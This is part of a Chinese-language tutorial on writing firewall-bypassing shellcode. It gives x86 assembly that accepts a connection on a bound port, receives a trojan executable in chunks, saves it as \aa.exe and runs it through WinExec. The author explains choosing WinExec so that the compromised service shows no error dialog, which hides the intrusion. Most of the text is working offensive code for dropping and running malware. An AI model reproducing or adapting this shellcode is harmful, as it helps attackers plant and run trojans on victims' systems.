编写和应用穿墙Shellcode(3)
端口绑定成功之后,就是等待客户端的连接了。一旦检测到客户端连接过来,Shellcode就向客户端发送确认信息。这里本来还应该检查连接发起者身份是否就是攻击者,只是我把这一步省略了。发送了确认信息之后,就一直接收客户端发送的木马文件数据,存放到文件\aa.exe中,文件接收完毕后执行该文件。相关的汇编代码如下:
mov [ebp + 24h], eax //保存客户端socket
mov dword ptr[esi + 440], '!!ko'
mov byte ptr[esi + 443], 0
push 0
push 4
lea eax, [esi + 440]
push eax
push [ebp + 24h]
call [ebp + 58h] //send "ok!"
mov dword ptr[esi + 444], 0x2E61615C
mov dword ptr[esi + 448], 0x0011657865
push 0x0180
push 0x8301
lea eax, [esi + 444]
push eax
call [ebp + 60h] //_open创建文件
mov dword ptr[ebp + 20h], eax //保存文件句柄
mov dword ptr[ebp + 1ch], 0x00027031 //保存输入的文件大小
mov dword ptr[ebp + 18h], 0 //保存已经接收的文件大小
push 0
push 512 //每次接收512字节文件数据
lea eax, [esi + 500]
push eax
push [ebp + 24h]
call [ebp + 5ch] //recv
cmp eax, 0
jle end //if eax <= 0 则接收失败退出
add [ebp + 18h], eax //已接收文件大小
push eax
lea eax, [esi + 500]
push eax
push [ebp + 20h]
call [ebp + 64h]//_write
mov byte ptr[esi + 480], 'y'
lea eax, [esi + 480]
push 0
push 1
push eax
push [ebp + 24h]
call [ebp + 58h] //send 返回字节'y'
cmp eax, 0
jle end //失败退出
mov eax, dword ptr[ebp + 18h]
cmp eax, dword ptr[ebp + 1ch]
jl j1
push [ebp + 20h]
call [ebp + 68h] //_close,传送完毕就关文件句柄
push 0
lea eax, [esi + 444]
push eax
call [ebp + 3ch] //WindowsExec 执行木马文件
end:
文件传输过程是需要攻击客户攻击程序与Shellcode严密配合的,每接收一组数据后,都发送一个确认信息’y’,保障通信的流畅性。此外,执行文件我是调用函数WindowsExec而非_execl,原因是_execl执行之后函数是不返回的,可能造成原服务进程发生异常而弹出骇人的错误对话框。